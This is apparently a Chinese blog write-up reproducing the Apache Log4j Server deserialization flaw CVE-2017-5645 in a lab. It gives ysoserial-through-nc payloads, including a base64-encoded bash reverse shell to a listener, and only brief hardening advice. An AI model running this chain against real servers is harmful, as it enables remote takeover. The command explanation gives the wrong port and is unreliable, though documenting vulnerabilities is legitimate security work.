Apache Log4j Server (CVE-2017-5645) 反序列化命令执行漏洞

文章目录

  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
    • 1.1 漏洞描述
    • 1.2 漏洞复现
      • 1.2.1 环境启动
      • 1.2.2 漏洞验证
      • 1.2.3 漏洞利用
    • 1.3 加固建议

Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

1.1 漏洞描述

Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

说明内容
漏洞编号CVE-2017-5645
漏洞名称Apache Log4j Server 反序列化命令执行漏洞
漏洞评级高危
影响范围Apache Log4j 2.8.2之前的2.x版本
漏洞描述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

1.2 漏洞复现

1.2.1 环境启动

image-20231011212552558

1.2.2 漏洞验证

使用nmap工具扫描开放的端口

image-20231011212827813

可以看到4712端口是正常开启的。

使用ysoserial生成payload,然后直接发送给192.168.188.185:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令

java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.188.185 4712

image-20231014142922046

执行命令进入容器

sudo docker exec -it [容器id] /bin/bash

image-20231014143048024

执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

image-20231014143127978

1.2.3 漏洞利用

只需要将命令替换成反弹shell的命令,就能够成功弹回shell。

bash -i >& /dev/tcp/192.168.188.185/6666 0>&1

将构造的payload进行base64加密。

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx

image-20231014143732992

kali开启监听

nc -lnvp 6666

image-20231014143853966

再开启一个新的终端,输入如下内容。

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.188.185 4712

命令解析:

  • bash -c:这个选项告诉 Bash 执行后面的一系列命令。
  • {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvNjY2NiAwPiYx}:这是一个经过 Base64 编码的命令字符串,解码后为bash -i >& /dev/tcp/192.168.188.185/4712 0>&1。意思是将 Bash 的输入和输出重定向到指定的 IP 地址和端口。
  • {base64,-d}:这个命令使用 base64 工具进行 Base64 解码。
  • {bash,-i}:这个命令会执行解码后的 Bash 命令,即与指定的 IP 地址和端口建立一个交互式的 Shell 连接。

image-20231014144159746

反弹成功

image-20231014144147427

能够正确执行命令,shell反弹成功

image-20231014144706974

1.3 加固建议

更新到最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/163180.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝绿发布,灰度发布,滚动发布

写在前面 本文看下生产环境中有哪些常用的发布策略。 1:蓝绿发布 蓝绿发布要求将线上机器分成逻辑上的AB两(蓝绿就是两种颜色)组,升级时先将A组从负载均衡中摘除,由B组对外提供服务,如下图: 当A组升级…

嵌入式学习笔记(59)内存管理之结构体

数据结构:是一门研究数据在内存中如何分布的学问。 1.5.1.最简单的数据结构:数组 数组的特点:类型相同、意义相关 数组的优势:数组比较简单,访问使用下标,可以随机访问(就是可以通过下标随机…

【迎战2023双十一】小白也能玩转!手把手教你实时获取多平台店铺数据,轻松实现数据大屏展示

要实时获取多平台店铺数据进行数据大屏展示,需要进行以下步骤: 确定数据采集方式:通过爬虫程序(如Python的BeautifulSoup、Scrapy等爬虫框架)或API接口来实现数据的获取,确定该方法所需的数据格式和调用方…

字节码增强技术-ASM

概述 在Java中一般是用javac命令编译源代码为字节码文件,一个.java文件从编译到运行的示例如图所示: 使用字节码的好处:一处编译,到处运行。java 就是典型的使用字节码作为中间语言,在一个地方编译了源码,拿着.class …

Error: GlobalConfigUtils setMetaData Fail Cause:java.lang.NullPointerException

文章目录 1、在开发中会出现这样的错误。2、其次,再看其他错误: 1、在开发中会出现这样的错误。 完整错误:Caused by: com.baomidou.mybatisplus.core.exceptions.MybatisPlusException: Error: GlobalConfigUtils setMetaData Fail ! Cause…

pyflink 环境测试以及测试案例

1. py 的 环境以来采用Anaconda环境包 安装版本:https://www.anaconda.com/distribution/#download-section Python3.8.8版本:Anaconda3-2021.05-Linux-x86_64.sh 下载地址 https://repo.anaconda.com/archive/ 2. 安装 bash Anaconda3-2021.05-Linux-x…

送水订水商城小程序的作用是什么

无论瓶装水还是桶装水在市场中的需求度总是很高,相关送水公司或零售水企业也不少,消费者的购物方式一般是品牌直售或通过经销商,零售水则是超市/商场等场景。随着人们健康品质生活提升,家庭或办公等场所对桶装水或瓶装水的需求日益…

群硕与Microsoft Dynamics全球团队密切协作,加速ERP产品迭代

群硕具备强大的软件研发能力,搭建自动化测试平台,保证高质量交付。 ERP系统的引入被视为企业走向数字化转型的关键一步。 此系统有助于实现企业内部资源与外部资源的整合,通过软件把人、财、物、产、供、销及相应的物流、信息流、资金流、管…

找不到msvcr120.dll怎么办?msvcr120.dll丢失如何修复?

MSVCR120.dll是一个动态链接库文件,它是Microsoft Visual C 2012 Redistributable Package的一部分。这个文件包含了许多用于运行C应用程序的函数和类。当我们的计算机上缺少这个文件时,就会导致一些程序无法正常运行,甚至会出现系统崩溃的情…

基于当量因子法、InVEST、SolVES模型等多技术融合在生态系统服务功能社会价值评估中的应用及论文写作、拓展分析

查看原文>>>基于当量因子法、InVEST、SolVES模型等多技术融合在生态系统服务功能社会价值评估中的应用及论文写作、拓展分析 生态系统服务是人类从自然界中获得的直接或间接惠益,可分为供给服务、文化服务、调节服务和支持服务4类,对提升人类福…

黑豹程序员-架构师学习路线图-百科:Maven

文章目录 1、什么是maven官网下载地址 2、发展历史3、Maven的伟大发明 1、什么是maven Apache Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project’s build, reporting and…

“智能+”时代,深维智信如何借助阿里云打造AI内容生成系统

云布道师 前言: 随着数字经济的发展,线上数字化远程销售模式越来越成为一种主流,销售流程也演变为线上视频会议、线下拜访等多种方式的结合。根据 Gartner 报告,到 2025 年 60% 的 B2B 销售组织将从基于经验和直觉的销售转变为数…

window.location对象实例详解

一、前言 Window.location 只读属性返回一个 Location 对象,其中包含当前标签页文档的网页地址信息。 Window.location 是一个只读 Location 对象,但是我们仍然可以去重新赋值更改对象值。 下面就让我们详细介绍一下location的常用属性和方法&#xf…

【Machine Learning】01-Supervised learning

01-Supervised learning 1. 机器学习入门1.1 What is Machine Learning?1.2 Supervised learning1.3 Unsupervised learning 2. Supervised learning2.1 单元线性回归模型2.1.1 Linear Regression Model(线性回归模型)2.1.2 Cost Function(代…

asp.net酒店管理系统VS开发sqlserver数据库web结构c#编程Microsoft Visual Studio

一、源码特点 asp.net酒店管理系统是一套完善的web设计管理系统,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。开发环境为vs2010,数据库为sqlserver2008,使用c#语言开发 asp.net 酒店管理系统1 二、功能介绍 …

redhat配置本地yum源(超详细,超简单)

目录 ​编辑 1、硬件配置 2、配置本地yum源 1、硬件配置 注意这里要使用is

有什么小程序可以下载视频号的视频?

​最近有一些朋友问我,【视频号下载助手】和【视频下载bot】小程序,有什么作用? 首先视频号下载助手是协助用户进行下载的,但由于下载要符合平台规定,我们就将视频下载助手与视频下载bot小程序想结合的模式&#xff0…

93. 递归实现组合型枚举

题目: 93. 递归实现组合型枚举 - AcWing题库 思路: 1.从n个数中选择m个数,问有多少种选法。---->抽象为有m个坑位(设置kenway[N]表示),其中填入编号为1~n的萝卜,问有几种填法。这里我们可…

EthernetIP 转MODBUS RTU协议网关连接FANUC机器人作为EthernetIP通信从站

远创智控YC-EIPM-RTU网关产品是一款高效的数据采集工具,它可以通过各种数据接口与工业领域的仪表、PLC、计量设备等产品连接,实时采集这些设备中的运行数据、状态数据等信息。采集到的数据经过整合和运算等操作后,可以被传输到其他设备或者云…

你的DOT即将解锁,请注意以下事项

作者: David 还记得两年前Polkadot平行链卡槽拍卖质押吗? 参与平行链众贷,质押DOT两年,选择投票的项目方,获得相应token奖励。当年质押的DOT即将解锁,就在十月底,10月24日请注意。 第一批解锁…